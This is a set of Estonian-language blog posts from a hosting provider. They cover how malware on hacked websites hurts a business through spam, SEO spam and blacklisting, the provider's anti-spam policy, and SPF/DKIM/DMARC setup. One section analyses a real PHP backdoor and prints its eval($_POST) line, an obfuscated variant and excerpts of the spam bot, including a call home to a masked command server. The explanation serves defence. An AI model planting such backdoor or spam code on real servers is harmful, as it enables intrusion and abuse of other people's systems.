Veebi turvalisusel on ka äriline mõõde

Sageli ei võeta veebiga seotud pahavarahoiatust tõsiselt – ah mis sealt ikka võtta on, kui mul Outlookis post käib võite veebiserverist spämmi saatmise lihtsalt kinni keerata. Aga tagajärjed võivad kesta kaua.

Willem De Grooti blogipostitus 5900 online stores found skimming (eestikeelne meediakaja: Mitmed tuntud Eesti veebipoed on nakatatud pahavaraga, mis varastavad sinu krediitkaardi andmed) on krediitkaardiandmeid kurjategijatele saatva pahavaraga nakatunud e-poodide nimekirja paari jõudsalt kahandanud: 5900st on pea 2000 tänaseks ära puhastatud.

Loodetavasti tekitas tuntud nimede nägemine ka paljudes teistes vajaduse oma veebid üle vaadata – kui ei, siis paneme aga hagu alla ja vaatame, kuidas pahavara mõjutab mitte ainult ettevõtte mainet, vaid kõiki neid netiturundusega seotud asju mille nimel me nii kõvasti pingutame. Ehk anname sellele loole ärilise mõõtme ning mõtleme lõpuks selle peale, mis võiks olla lahenduseks.

Kuna Timo Porval Lavii.ee‘st küsis meil Zones külas olles “aga mis siis ikkagi juhtub, kui veeb on nakatatud” – siis tegime koos ka ekspromt-videoloengu mis sai oluliselt pikem, kui allolev tekst.

Kõik järgnevad anonüümsed näited on muidu igati eeskujulike Eesti ettevõtete veebidest – aga neid ühendab mingil hetkel uuendamata jäänud veebitarkvara ning pahavara, mis saadab rämpsposti, avaldab otsimootori-spämmi ehk peidetud linke või suunab kasutajad edasi saitidele, mis tegelevad nende arvutite nakatamisega.

Veebiserver saadab spämmi

See on sageli esimene töö, mis pahavaraga veebisaidile antakse – lisatud programmijupp saab perioodiliselt pöördumisi, mille sisuks on saatmist vajav rämpspost ja selle saajate nimekiri. Kui lasta sellisel saatmisel mõnda aega toimuda, siis hakkavad juhtuma järgmised asjad:

  • suuremad postiteenused nagu Gmail tuvastavad spämmi saatva IP-aadressi ja domeeni ning hakkavad nende pealt saabuvat e-posti tagasi põrgatama
  • varem või hiljem märkavat saatjat ka SpamCom, SpamHaus jt ning lisavad need ka oma musta nimekirja – ning nende teenust kasutavad juba paljud väiksemad postiteenused

Need piirangud puudutavad mõistagi mitte ainult spämmi, vaid kõiki kirju mida veebiserver saadab: e-poe tellimused, kontaktivormide teavitused, parooli-muutmise ja uue kasutaja registreerimise kirjad jne.

Aga see ei ole veel kõik: kui oled varem selleks, et vajalik post ikka Gmaili kohale läheks lisanud oma domeenile SPF- ja DKIM kirjed mis näitavad, et sellest serverist võib sinu nimel kirju saata… siis on postiteenustele võimalik märkida su domeeni reputatsiooniks “spämmer”, sest väljunud kirjad on ju varustatud domeeni digitempliga.

Google Postmaster Tools
Ühe spämmi saatva pahavaraga e-poe Google Postmaster Tools graafik – 13. oktoobri keskpäeval eemaldati sealt Nimbusec’i abil tuvastatud failid, tänaseks on graafik nullis ehk rohkem sealt spämmi ei saadeta, küll aga läheb aega, kuniks selle domeeni posti enam spämmiks ei loeta.

Nüüd ei ole see sinu jaoks enam tehniline, vaid äriline probleem.

Meie jaoks on mure aga laiem: kui kasutad virtuaalserverit, mille puhul sama IP-d jagab suurem hulk kliente, siis mõjutab IP sattumine musta nimekirja ka kõiki ülejäänuid. Selle vältimiseks on ka meil omad filtrid, mis märkavad spämmi ja keelavad sinu serveril saatmise. See on “hädatapp”, mis loodetavasti aitab vältida suuremat kahju ka sinu domeenile. Aga need kontaktivormid ja tellimused… ei lähe ikkagi kuhugi.

Veebiserver osaleb otsimootori-spämmis

Kui kirjade saatmine on blokeeritud tuleb kurjategijatel sellele uus rakendus leida. Üks võimalus on sokutada lehtedele linke nende poolt reklaamitavatele teenustele – harilikult on nendeks “kanada apteegid”, eskort-teenused ja muu hämaramat sorti äri. Pahavara on seejuures piisavalt nutikas, et kuvada neid linke vaid otsimootoritele, sest igaühele nähtav link oleks märk sissetungist ja võiks viia saidi puhastamiseni.

Sinu jaoks on ka sellel probleemil selge hind – nimelt jälgivad otsimootorid nii sisenevaid kui väljuvaid linke ning proovivad selle alusel ennustada, kas sisu vastab sinu äriga seotud sõnu otsivate kasutajate soovile. Nii võib juhtuda, et vaatamata pingutustele satud ürtidega rikastatud käsitöö-seebi kategooriast kahtlaste taimsete toidulisandite alla ning kaotad vaevarikka SEO-tööga otsimootorites saavutatud positsiooni.

Seda muidugi vaid juhul, kui otsimootor ei märka spämm-linke. Kui märkab, siis määratakse saidile karistus – pagerank tõmmatakse alla ja positsioon … koos sellega. Kui oled seadistanud Google Search Console, siis tuleb selle kohta loodetavasti ka teavitus. Kui ei, siis võid nädalate kaupa analüütikat vaadata ja imestada, et kuhu küll need külastajad järsku kadusid.

Webmaster Tools - hidden links
Google on tuvastanud peidetud lingid ühe majutusasutuse veebis. Pilt ajast, kui täna Google Search Console nime kandev tööriist oli veel Webmaster Tools. Sarnaseid tööriistu on ka teistel, näiteks Bing Webmaster Tools.

Veebiserver jagab pahavara

Post ei toimi, otsimootori-positsiooniga on kah kehvasti – aga kas saab ka hullemaks minna? Ikka! Sellist veebi saab endiselt ära kasutada külastajatele pahavara jagamiseks või kasutaja-andmete õngitsemiseks. Nime järgi tuleb mingi hulk külastajad ikka kohale, aga võib ka kuhugi peita ühe Gmaili avalehega sarnaneva võlts-logini ning spämmi abil külastajad kohale meelitada.

See on juba karmim kuritegevus ja vastavaid lehti proovivad leida erinevad turva-ettevõtted, aga ka Google’i otsimootori indekseerija. Sa näed vaeva, et Google sind külastaks – ja esimese asjana kaevab ta uksemati alt välja laiba ja teatab sellest kõigile.

Google Safe Browsing
Chrome kuvab pahavara sisaldavat saiti külastavale kasutajale hoiatust. Oma v või konkurendi – saidi olekut saab kontrollida Google Safe Browsing lehel, mitmest nimekirjast otsimiseks on hea kasutada VirusTotal’it. Kui saidiga on seotud mõne otsimootori webmaster tools, siis leiab sealt täpsema selgituse ja e-postile tuleb ka automaatne teavitus.

Kui sait ära puhastada ja Google’i Search Console’is paluda tulemus üle vaadata, siis reeglina saab 72 tunniga hirmsa punase palaka maha ja äri uuesti käima.

Aga võib ka minna hullemini – kui piisavalt kiiresti ei reageeri, võivad jaole jõuda ka teised musta-nimekirja-pidajad ning kõigi nende avastamine ja ükshaaval teavitamine on päris mahukas töö.

Kevadel aitasin ühte klienti (saidi puhtus käsitsi üle kontrollitud) ning tulemus oli selline:

  • sait puhastatud märtsi algul, kõik korras, Google toimib
  • 16. märts teatab külastaja, bing.com otsimootor hoiatab pahavara eest; vaatamata korduvatele katsetele õnnestub sealne review alles pärast jaanipäeva (Bing ühtegi näidet pahavarast ei paku)
  • 30. märts teatab teine külastaja, et tema antiviirus/tulemüür keelab mõnede alamlehtede külastamise – ja sellest süsteemist tulebki lehti ükshaaval eemaldada, fortiguard.com nimekirja kõigist nende meelest probleemsetest URLidest ei paku ja abi saame vist ainult tänu maaletoojale (aprilli keskel)
  • 28. augustil tuleb teade Kaspersky’lt, et nüüd on nemad kah selle kevadise probleemi avastanud ja asuvad blokeerima, me ei leia esimesel katsel isegi kohta kust seda eemaldada – ning kohale kust lõpuks teatame ei järgne Kaspersky poolt mingit tegevust

Pool aastat on möödas ja sõltuvalt kasutatavast otsimootorist, viirusetõrjest või tulemüürist satuvad kliendid endiselt teate otsa, et sait on ohtlik.

Olgu öeldud, et algne nakatamine toimus pool aastat enne märtsikuist avastamist. Nakatati sait kahe nädala jooksul, mil ta polnud isegi veel avalik ja asus veebis alamkataloogis /uus. Ilmselt oli vana veeb pahavara täis ja selle “operaatorid” märkasid kiiresti, et tulemas on uus versioon ning sellist võimalust ei saa kasutamata jätta.

Aga see pole veel kõik – rünnak sinu firma vastu

Kuigi eelnev peaks andma juba piisavalt põhjust oma neti-turvalisus oluliseks ärihuviks tõsta, on mul pakkuda veel üks võimalus sinu veebi kurjasti ära kasutada ja sedapuhku on sihtmärgiks sinu firma, selle pangakonto, kliendinimekiri, sisevõrgus olevad andmed … ja kindlasti veel midagi, mis mulle hetkel pähe ei tule, küll aga mõnele kriminaalsele geeniusele.

Clarified Security Hands-on-Hacking turvakoolituste stsenaariumid põhinevad reaalsetel juhtumitel ja NATO Locked Shields küberõppusel vaenlase mängimise kogemustel ning algavad justnimelt ettevõtte veebilehe ülevõtmisest.

Nii saab kurjategija rahulikult, omas tempos profileerida veebiga tegeleva töötaja brauseri ning leida sobiliku turva-augu – aga võibolla pole seda isegi vaja, sest kui sisselogimise lehte veidi muuta saab kätte ka parooli, mida ta seal kasutab… ja võibolla ka mujal, näiteks e-postis.

Logides sisse postkasti näeb kirjavahetust ja kontakte – vahest saadaks raamatupidajale maksmiseks mõne arve või paluks enne palgapäeva avanssi, kandmisega “tuttava kontole, väga delikaatne teema, palun ära küsi”? Või faili, mis nakatab ta arvuti pahavaraga… sest kuigi “kummalisi kirju” ei avata ei kehti see reegel ju juhul, kui kolleeg saadab pisikeste parandustega versiooni Wordi dokumendist, mille olid talle ise tund tagasi saatnud.

Mis on siis lahendus?

Lahendus hakkab pihta hulk aega enne seda, kui mõni ülalkirjeldatud probleemidest endast märku annab.

Kui tellid veebilehe, siis tuleks kohe kokku leppida ka see, kes ja millise raha eest hakkab seda järgmistel aastatel hooldama – mõistlik on panna selleks kõrvale vähemalt ühe töötunni raha kuus (sõltuvalt tegijast vahemikus 35-75€+km, aga odavamate puhul tuleks ilmselt arvestada mitme tunniga) või mingi protsent veebitegemise hinnast (näiteks 10-20% aastas, nagu põhivara amortisatsioonil).

Ise tehes on raha raskem arvestada ja nokitsemise tunnid mööduvad kiiremini kui arvad – aga rehkendades jõuame me lõpuks ikka sarnaste numbriteni välja ja virtuaalserveri eest küsitav 4,80€+km on ilmselt kõige väiksem kulu, mis sul veebiga seoses kanda tuleb. Eriti kui arvestada, et keerulisem probleem nõuab abiväge ning sageli ei anna “tuttav itimees” oodatud tulemust, sest kuigi abivalmis (ja mis peamine – soodne) ei ole ta otseselt veebimeister ning kogemus nähtamatu vaenlasega võitlemiseks puudub.

Kui oled nõus natuke maksma – no ütleme, et teise 5€ kuus lisaks – siis pakuks sulle Voog’i, mille puhul on küll võimalused piiratumad, aga veeb on see-eest ehitatud üles nii, et keegi teine sinna koodi laadida ei saa. Välimust aitavad vajadusel tuunida nende partnerid, aga veeb püsib ise püsti ja ei vaja pidevat paikamist.

Majutades meie juures oma WordPress’i, Joomla!’t, Durpal’it või Magentot saab need lisada (või juba algusest peale paigaldada) Zone+ haldusesse mis tagab pideva uuendamise ja turvatunde – ning lisada 2€+km eest kuus Nimbusec’i, mis skannib kord nädalas veebis olevad failid üle ja annab lootust, et leiad pahavara leiab üles enne Google’it.

Sealt edasi hakkab aga kallimaks minema – korralikum WordPressile keskendunud majutus algab 30€ kandist, Sucuri või CloudFlare “turvateenuste” odavam pakett on 15-20€ aga üldiselt ilmneb peagi, et selle eest saab vaid “basic security” mis mõeldud väiksemale blogijale.

Ja me oleme jälle tagasi selle “enamvähem 1 töötunni hind” juures. Võibolla on parem, kui selle saaks endale sinu veebimeister, ikkagi omakandi tegelane kes teab ja tunneb enda ehitatut?

Aga sama suurusjärk kehtib ka meie, Zone puhul – “töötunni eest kuus” saame lisada turvalahendusi, muuta WordPressi seaded turvalisemaks, pakkuda seadistusi tulemüürile ning tagada, et probleemi avastame meie ja helistame sulle, mitte vastupidi.

Sellist paketti meil hetkel avalikus hinnakirjas pole, sest tegu on väga eksklusiivse tootega. Aga kirjuta mulle peeter@zone.ee ja vaatame, mida teha annab 😉

Mis juhtub nende klientidega, kes spämmi saadavad?

Virtuaalserver tundub olema üks lihtsalt võrreldav teenus – igal pakkujal on tabelis hind ja mingid gigabaidid, paned need ritta ja tulemus käes.

Tegelikult kuulub aga teenusesse hulk asju, mida tabelis atraktiivselt lahti ei seleta. Näiteks see, kuidas me hoiame oma servereid puhtana nii spämmeritest kui muust probleeme tekitavast – vajadusel loobudes mõnest kliendist, et teistele paremat teenust pakkuda.

Tänane hommik algas näiteks sellise kirjaga:

spamhaus-epost

Ehk siis üks meie serveritest sattus musta nimekirja, kuna viidatud domeeni/veebi/virtuaalserveri omaniku nimel saadeti spämmi. Ja nimekirjast välja pääsemiseks tuleb meil täpselt selgitada, kuidas probleem lahendatud sai. Senikaua võib olla probleeme kõigist selles serveris majutatud veebidest saadetava postiga – see satub spämmikausta. Mida kiiremini ja resoluutsemalt me sellistele kirjadele reageerime, seda kiiremini saame listist välja.

Sageli on tegemist lihtsalt teadmatusega – kui kuulatakse siis harime, kui küsitaks aitame veebi pahavarast puhastada ja turvata. Ja kui keegi spämmi-agentuuri reklaami õnge on läinud – laseme esimesel korral digiallkirjastada no-spam deklaratsiooni selle kohta, et ta on kehtiva regulatsiooni ja hea tavaga tutvunud, oma eksimusest aru saanud ja lubab edaspidi viks ja viisakas olla:

Kinnitus
e-posti saatmise reeglitega nõustumise kohta

Käesolevaga kinnitan, et olen teadlik ja järgin e-posti saatmisel Euroopa Liidu direktiive, Eesti Vabariigi seadusi ja Andmekaitse inspektsiooni juhist “Elektrooniliste kontaktandmete kasutamine otseturustuses” (vt Lisa 1), Zone Media OÜ Serveriteenuste üldtingimustes sätestatut ning internetikasutuse head tava.

Mõistan, et ükski ostetud, renditud, veebide skaneerimise kaudu kogutud või mistahes muul viisil peale kasutaja selgesõnalise nõustumise saadud list ei ole lubatud.

[ Täistekst, lisa seaduse-viidetega ja allalaetavad versioonid leiab lehelt No-spam deklaratsioon ]

Vahel aga allkiri ei aita – sellise kliendi tunneb ära sellest, et tema ise või tema poolt kasutatav spämmi-firma hakkab käima välja põhjuseid, miks nende saadetav ei ole spämm:

  • “aga see ei ole ju saadetud teie serverist, ärge muretsege”
  • “me saatsime mobiiltelefoni IP pealt, ärge muretsege”
  • “nende kirjade saatja aadressiks on hoopis üks gmaili konto, ärge muretsege”
  • “me võtsime nüüd kirjast veebiserveri aadressi maha, ärge muretsege”

Kuna meil puudub absoluutselt igasugune soov muretseda – ja me tahame, et oma e-posti kohalejõudmise pärast ei peaks muretsema ka meie head kliendid – siis saab sellise leelo peale olla vaid üks lühike vastus:

Sulgeme Teie virtuaalserveri korduva spämmi saatmise tõttu. Hetkel takistate Te meil teenuse pakkumist teistele klientidele ja rikute sellega lepingut.

Näeksime meeleldi, kui leiaksite ka oma domeenide jaoks lähemal ajal mõne teise registripidaja.

Sõltumata kasutatud trikkidest leiavad Spamhaus jt suurema vaevata üles selle, kelle nimel spämmi saadetakse, ja panevad süümepiinadeta blacklisti vastav serveri IP – kui aga teenusepakkuja oma majas korda ei suuda luua, siis vajadusel ka suurema hulga IP-aadresse.

Kas see piirab kellegi sõna- või ettevõtlusvabadust? Me kontrollime saabunud raportite paikapidavust ja kui vaja, siis seisame õiguse ja vabaduse eest. Kui aga tegemist on tõesti spämmeriga – siis on tal võimalik kasutada põhiõigust leida küberruumi hämaratest nurkadest teenusepakkuja, kes ei pea enam muretsema, sest ta juba on blacklistis (ja küllap teda teatakse nimeliselt). Korduva rikkumise korral tuleb uuele teenusepakkujale abuse-teavitus ka ilma uut spämmikampaaniat alustamata – “teie juurde saabus see-ja-see, siin on nimekiri põhjustest miks ta kolis”.

Tänase blogipostituse, põhiõiguste kaitse ja puhtama tunde toob teieni ex-klient serverist SN23, kes allkirjastas deklaratsiooni ja jätkas tuntud spämmi-teenuse kasutamist – mõistagi palume vabandust kõigilt neilt, kes temaga sama virtuaalset ruumi jagama sattusid.

spamhaus-report

ps. See pildil olev udutamine on lihtsalt selleks, et vältida keskendumist ühele ettevõttele – teades meie serverite IPsid võib igaüks SBList järgi uurida, kes parasjagu pahanduse majja tõi. Jätaks meelde parem selle No-spam deklaratsiooni ja aitaks sõpradele/äripartneritel inetut jama vältida.

Kuidas “häkitud” veebid spämmi saadavad?

Tihti juhtub, et veebilehed “häkitakse” ära ja seejärel hakkab tulema kaebusi, et konkreetse veebiserveri kaudu saadetakse spämmi. Mida see aga praktikas tähendab?

Algab kõik sellest, et spämmer leiab veebiserverist automatiseeritud tööriistade mõne tuntud turvaaugu. Just nimelt automatiseeritud, sest mitte ükski spämmer ei käi ükshaaval veebilehti läbi vaatamas, kõik toimub automaatselt. Ning pole oluline kui vähetähtis või väheste külastajatega või mis keeles rünnatav veebileht on, sest reeglina ei ole sihtmärgiks mitte veebileht, vaid serveriressurss, mis sellele veebilehele eraldatud on. Järgmise sammuna sokutab spämmer turvaauku ära kasutades mõnda PHP faili (näiteks /templiidid/ammu-enam-ei-kasuta/jalus.php) järgmise, üsna süütuna näiva rea:

eval($_POST['UIOV61']);

Tavaliselt küll on see rida veidi hägustatud kujul, et seda liiga kerge tuvastada poleks. Näiteks ei loeta muutuja sisu otse õigest kohast, vaid pannakse see kuidagi keerulisemalt kokku, näiteks nii:

$m='_'.strtoupper(join('', array_reverse(array('t','s','o','p'))));
eval(${$m}['UIOV61']);

Selline kood teeb täpselt sedasama, mida eelminegi näide, kuid $_POST muutuja kasutamine on nüüd silma eest ära peidetud. Konkreetne näide on imetud virtuaalsest pastakast, kuid selles suhtes väga vahet polegi, et kuidas täpselt seda tegevust peita – võimalusi on mustmiljon ning kõik need leiavad ka kasutust.

Siinkohal võikski nagu loole punkti panna, spämmer on kodulehele sisse saanud ja teinud oma pahanduse, ühtegi muud veebilehe faili spämmer enam ei puutu ja sellega olekski lugu läbi. Paraku siiski siin lugu alles algab, sest selle rea lisamisega on meie veebiserver liidetud passiivse osalisena mõnda suurde botneti. Nimelt võimaldab eval()funktsioon käivitada suvalist PHP koodi ning kõige tavalisema POST päringu abil saab ette anda tolle käivitamisele mineva $_POST muutuja sisu. Edasi polegi muud, kui oodata “keskuselt” käsklusi, kus tolle häkitud PHP faili pihta tehakse POST päring muutujaga “UIOV61”, mille sisuks on käivitamisele minev kood.

POST /templiidid/ammu-enam-ei-kasuta/jalus.php HTTP/1.1
Host: meieveebileht.ee
Content-length: 12345

UIOV61=%24indata%20%3D%20new%20stdClass()%3B[...]

Järgnev ongi reaalne spämmimiskatse, mis sarnase tagaukse kaudu toimus. Tegu on sisuliselt omaette rakendusega, millel “peremees”-veebilehega igasugune seos puudub, veebiserveri jaoks on see nagu iga teine PHP kood, mida käivitada tuleb. Täpsemalt proovib rakendus saata tundmatutele isikutele meie serverist spämmi ja vaatlemegi lähemalt, et mida spämmeri rakendus selle eesmärgi nimel ette võtab.

Rakenduse alguses kirjeldatakse ära spämmikirja andmed ning potentsiaalsed adressaadid. Nagu näha on tegu vana tuttava sisuga, millist on täis pea iga spämmikaust.

$indata->subj = "Re:  Hiya";
$indata->html = "<div>Hiya, I'm a lonesome  girl, searching real person[...]
...
$indata->list[] = (object) array('fn' => '', 'ln' => '', 'm' => '*****@yahoo.com');
$indata->list[] = (object) array('fn' => '', 'ln' => '', 'm' => '*****@gmail.com');

Nüüd vaatab spämmer, et millist võrguühenduste funktsionaalsust konkreetne PHP installatsioon pakub. Seda teadmist on vaja, et hiljem korrektselt võrguühendusi avada.

if (function_exists('fsockopen'))[...]
elseif(function_exists('socket_create')[...]
elseif(function_exists('stream_socket_client')[...]

Täiendavalt koostab spämmer ka funktsiooni connect, mis avab leitud sobiva meetodi abil nii TCP kui ka UDP ühendusi. Seda koodi lahti kirjutama ei hakka, midagi huvitavat selles pole. Küll aga peame teadma, et see on olemas, kuna seda funktsiooni läheb edaspidi tarvis.

$repsock->connect("udp", "now.******.com", 9141, 10, true);

Ja ongi esimene välisühendus avatud, kuid meie üllatuseks on tegu hoopis UDP protokolliga. Selle kaudu aga spämmi saata ju ei saa? Tuleb välja, et spämmer tahab teada kuidas tema spämmirakendusel läheb ja tagasiside saamiseks saadab ta üle UDP oma keskserverisse igasugust debug ja muud huvitavat infot. Kohe algatuseks saadabki spämmer endale järgmise paketi (5760704 on sessiooni võti):

$repsock->send("Bcnf :: Start :: 5760704 :: (0)")

(Konkreetne kood on loetavause mõttes lihtsustatud, kuna tegelikult näeb UDP pakett välja teistsugune, vajaliku teisenduse teeb ära spämmeri koostatud funktsioon, mida ei hakka eraldi välja tooma.) Samasuguseid teateid saadetakse rakenduse igal sammul ning rohkem neist võibolla juttu ei hakkagi tegema.

Samas toimub ka süsteemsest /tmp kaustast ühe kindla faili lugemine (juhul muidugi, kui selline fail on juba olemas) ning sellest andmete sisselugemine. Mis info see täpselt on, seda vaatame veidi hiljem. Jätame selle andmete laadimise fakti momendil lihtsalt meelde.

Nüüd läheb rakendus tsüklisse, kus ükshaaval võetakse ette kõik potentsiaalsed spämmi saajad. Selline “individuaalne lähenemine” tähendab muu hulgas seda, et spämmi saaja ilutseb kenasti üksinda kirja To: real, mitte ei ole kiri adresseeritud korraga anonüümsele undisclosed-recipients:; grupile, kus kõik tegelikud adressaadid on peidetud BCC reale.

Esimese asjana on spämmeril vaja tuvastada adressaadi MX e-posti server. Selle jaoks on tarvis teha DNS päring – alguses MX kirje või selle puudumisel A kirje leidmiseks. DNS päringuid saab teha samuti mitut moodi ja kõigepealt proovib spämmer leida vajalikud kirjed getmxrr funktsiooni abil. Juhul kui seda funktsiooni ei ole lubatud kasutada, on spämmer koostanud alternatiivse variandina omaenda DNS kliendi, mis üle UDP ühenduse 8.8.8.8:53 nimeserveri pihta kõik vajaliku ise selgeks teeb. Juhul kui ka UDP päringuid teha ei saa, proovib spämmer viimase võimalusena gethostbyname funktsiooni.

// Spämmer DNS päringu paketti kokku panemas
$this->tid = rand(0x0001, 0xFFFE);
$this->req_data = pack("nnnnnn", $this->tid, 0x0100, 0x0001, 0x0000, 0x0000, 0x0000);

Kui MX server on teada, siis võib selle adressaadiga edasi liikuda. Nüüd hakkab spämmer adressaadi jaoks e-posti kirja lähteandmetest kokku panema. Ikka nii, et adressaat üksi istub To: real ning ka ülejäänud kiri näeb vormistuselt korrektne välja, et spämmikontrolli sellega eksitada.

"From: ".$indata->m_fromh."\r\n".
"Reply-To: ".$indata->repto."\r\n".
"Message-ID: <".$indata->list[$key]->mess_id.">\r\n".
"To: ".$indata->list[$key]->mh."\r\n".
"Subject: ".$indata->list[$key]->subj."\r\n".
"X-Priority: 3 (Normal)\r\n".

Kui kiri on kokku pandud, üritab spämmer seda ära saata, proovides avada porti 25 adressaadi e-posti MX serverisse, mis kirjade vastuvõtmisega tegeleb.

$sock->connect("tcp", $indata->list[$key]->mx_ip, 25, 10, true)

Spämmirakenduse SMTP protokolli kasutus on korrektne ning juhul kui vastuvõttev server toetab STARTTLS laiendust ühenduse krüpteerimiseks, proovib spämmer seda ka kenasti kasutada, eksitades sellega nii spämmikontrolli kui ka kaotades Gmaili puhul kirja juurest punase tabaluku ikooni.

Alati võib juhtuda, et server miskipärast sellest kirjast keeldub. Põhjuseid võib jälle olla mustmiljon, kuid spämmer ei jäta midagi juhuse hooleks. E-kirjadest keeldumise põhjuste kirjeldamisega on tänapäeval lugu üsna segane. Suhteliselt kindlalt võib arvata, et juhul kui vastuskood on 5xx, siis keeldub server kirjast lõplikult, aga kui see on 4xx, siis võib mõne aja pärast uuesti saata. Samas, iga tagasilükkamine pole võrdne, eksisteerib igasuguseid erandeid. Spämmer on seetõttu enamlevinud veebiteenuste vastusteated ära kirjeldanud, et mida selle puhul siis teha. Näiteks juhul kui tegu on AOL serveriga ja vastuseks tuleb järgmine teade, siis võib eeldada, et konkreetne veebiserver on AOL jaoks mustas nimekirjas (‘bl’ reegel) ja sellest serverist AOL’i kirju saata pole enam mõtet.

array(
  ".mx.aol.com" => array(array(array(
    1
  ),
  '^554[ \-].*ESMTP not accepting connections',
    'bl'
  ), [...]

Kuid nagu juba mainitud, siis iga tagasilükkamine pole sugugi võrdne ja ka 5xx veateate korral võib mõnel juhul uuesti proovida. Näiteks iCloud serveri jaoks on spämmeril järgmine reegel, mis suunab 550 vea korral kirja hoopis nn.greylisti (‘gl’ reegel):

array(
  ".icloud.com" => array(
    3
  ),
  '^550[ \-]5\.7\.0.*Blocke',
    'gl'
  ), [...] 

Kui kõik adressaadid on sarnasel viisil läbi käidud, võikski loole punkti panna, aga ikka ei saa me seda teha. Mäletatavasti avas spämmer rakenduse alguses mingi faili, aga milleks see siis vajalik oli?

Sellesse faili paneb spämmer kirja järgmisteks käivitusteks vajaliku info. Näiteks selle, et millise aadressi jaoks millist MX kasutada saab või et milline MX server on selle saatja ära blokkinud jne. Lisaks pannakse kirja ka viited greylistitud kirjadele ning nende uuesti saatmise intervall. Juhul kui spämmirakendus kunagi hiljem uuesti käima läheb, taastatakse nii greylistud kirjade info ja kui eelmisest saatmisest on möödas nõutud intervall, siis proovibki spämmer seda kirja uuesti saata. Ja seekord eeldatavasti juba edukalt.

Kuidas kontrollida väljuva e-posti SPF+DKIM+DMARC toimimist?

E-posti saatja tuvastamine muutub spämmiga võitlemise tõttu üha olulisemaks ning tehniline lahendus on “paneme domeenile ranged SPF+DKIM+DMARC reeglid peale, välistame võõrastel meie nimel kirjade saatmise ja kõik on jälle hästi”.

Kuidas aga kontrollida, et lisatu tõesti toimib ning kõik saadetud kirjad kohale jõuavad?

Hästi lühidalt: kõik kolm on DNSi ehk domeeni nimeserverisse lisatavad kirjed. SPF on nimekiri serveritest, mis tohivad sinu domeeninimega e-posti saata. DKIM lisab väljuvale e-postile digitempli, mis võimaldab vastuvõtjal kontrollida saatja õigust domeeni nimel posti saata. DMARC kinnitab, et SPF ja/või DKIM on kasutusel ning võimaldab tellida raporteid väärkasutuse või reeglitele mitte vastavate kirjade kohta.

Üsna lihtne on mõni e-posti saatmise kanal ära unustada ja tekitada olukord, kus osa varem saadetud kirjadest spämmiks loetakse. Sageli on korraga kasutusel veebimeil, e-postiprogrammid arvutis ja mobiilseadmes – aga kirju võivad meie nimel saata veel ka:

  • automaatvastajad, kirjade edastajad, myyk@ või info@ postigrupid
  • e-posti-turunduse lahendus (nt Mailchimp, Mailbow, Sendsmaily)
  • majandustarkvara pilves (nt Erply, Directo) või kasutaja arvutis
  • kliendisuhtlusega seotud tarkvara (nt Pipedrive, Kayako, Zendesk, Intercom)
  • veebiserver (nt kontaktivorm või e-poe ostukinnitused)
  • tootmislahendused, kliimaseadme monitooring jne

Väga mugav lahendus testimiseks on mail-tester.com – lehe külastamisel kuvatakse sulle unikaalne aadress, saates sinna test-kirja saad tulemuseks hinde ja selgitused:

perfektne-skoor

Kui midagi 10/10 tulemusest puudu jääb, kuvatakse selgitust ja soovitusi.

Nii näeb näiteks välja tulemus, kui saatja tuvastamist võimaldavad kirjed on seadistamata ning skoor 7/10:

mailtester-soovitused

Aga proovime teistpidi, lisame domeenile soovitatud SPFi ja saadame kirja välja ühest mujal asuvast arvutist – näiteks on raamatupidaja “palgaprogramm” või Outlook seadistatud kasutama internetiühenduse pakkuja postiserverit, müügimehed saadavad pakkumisi välja läbi teenusepakkuja serveris töötava veebipõhise CRM-tarkvara vms:

bad-mail-go-home

Nagu näha, on olukord muutunud raamatupidaja või müügimehe jaoks hullemaks ja see on ka põhjus, miks me ei saa, taha ega tohi “jõuga” kõigile klientidele SPF’i lisada – küll aga tegime selle ise lisamise võimalikult lihtsaks ning aitasime mail-tester.com eestindada.

Tegevusplaan võiks olla selline:
  1. tee nimekiri kõigist lahendustest, mis võivad sinu domeeni nimel posti saata – milline SMTP-server on kasutajate arvutites-telefonides seadistatud, millist tarkvara nad veel kasutavad (küsi kõigil, ka laomehelt), kontaktivormid veebis, uudiskiri, e-pood jne
  2. kui tundub, et kõik kasutavad Zone servereid – siis võid SPF+DKIM+DMARC toed sisse lülitada ja asuda umbes veerand tunni pärast testima (selle aja peale peaksid kõik Zone nimeserverid andma sama tulemust)
  3. kui kasutad ka muid teenuseid, siis uuri nende käest järgi soovituslik SPF kirjele lisatav IP-aadress või “include:” ning kohanda SPF-kirjet vastavalt, DKIM lubamisel arvesta, et see puudutab ainult Zone serverite kaudu saadetavaid kirju
  4. TESTI – võta mail-tester.com pealt test-aadress ning saada sinna kiri oma Outlook’ist või Mail’ist. Kontrolli tulemust. Saada mobiilist (võid kasutada sama aadressi või genereerida uue – lehte värksendades näed alati viimati saadetud kirja tulemust). Tee oma e-poest proovitellimus registreerides kliendi test-eposti aadressiga. Lase laomehel saata üks saateleht, test-aadressile mõistagi. Jne.

Kui mõni saatja ei sobi, siis kohenda SPF-kirjet. Selle sisu formaat on väga lihtne, näiteks lisades MailChimpi serverid ja ühe konkreetse IP:

v=spf1 a mx include:_spf.zone.eu include:servers.mcsv.net ip4:xxx.xxx.xxx.xxx ~all
  • v=spf1 – SPF-kirje tunnus
  • a – saatmine lubatud kõigilt domeenis A-kirjet omavatelt IP-aadressidelt
  • mx – saatmine lubatud kõigist domeeni posti-serveritest
  • include:_spf.zone.eu – saatmine lubatud kõigist Zone Media serveritest
  • include:servers.mcsv.net – saatmine lubatud MailChimpi serveritest
  • ip4:xxx.xxx.xxx.xxx – saatmine lubatud IP-aadressilt xxx.xxx.xxx.xxx
  • ~all – kõik ülejäänud aadressid ei ole otseselt keelatud

Kui oled täiesti kindel, et kogu väljuv post kasutab ainult SPF-kirjes olevaid aadresse, võid ~all asemele panna ka -all – see ütleb üheselt, et nimekirjas mitte olevatest serveritest tulev post tuleks spämmiks lugeda. Enne SPF (ja DMARC) kirjete rangemaks keeramist tuleks aga ette võtta DMARC pakutav võimalus koguda raporteid domeeni nimel saadetava ja reeglitele mittevastava posti kohta ning siis liikuda edasi samm-haaval.

Zone serverite jaoks on SPF+DKIM+DMARC lisamine ja kohandamine lihtne, sisuliselt kolm klikki:

Olgu lisatud, et seadistused jõustuvad ca 15 minuti jooksul ning DKIM digitempel lisatakse veebimeilist ja Zone SMTP kaudu saadetavatele kirjadele, Pakett II ja III puhul ka veebiserverist saadetavatele. Teiste teenuste DKIM-kirjed saab lisada tavapärasel viisil ehk nimeserverite alt.

 

3 tehnoloogiat, mis aitavad kirjad kindlalt kohale toimetada

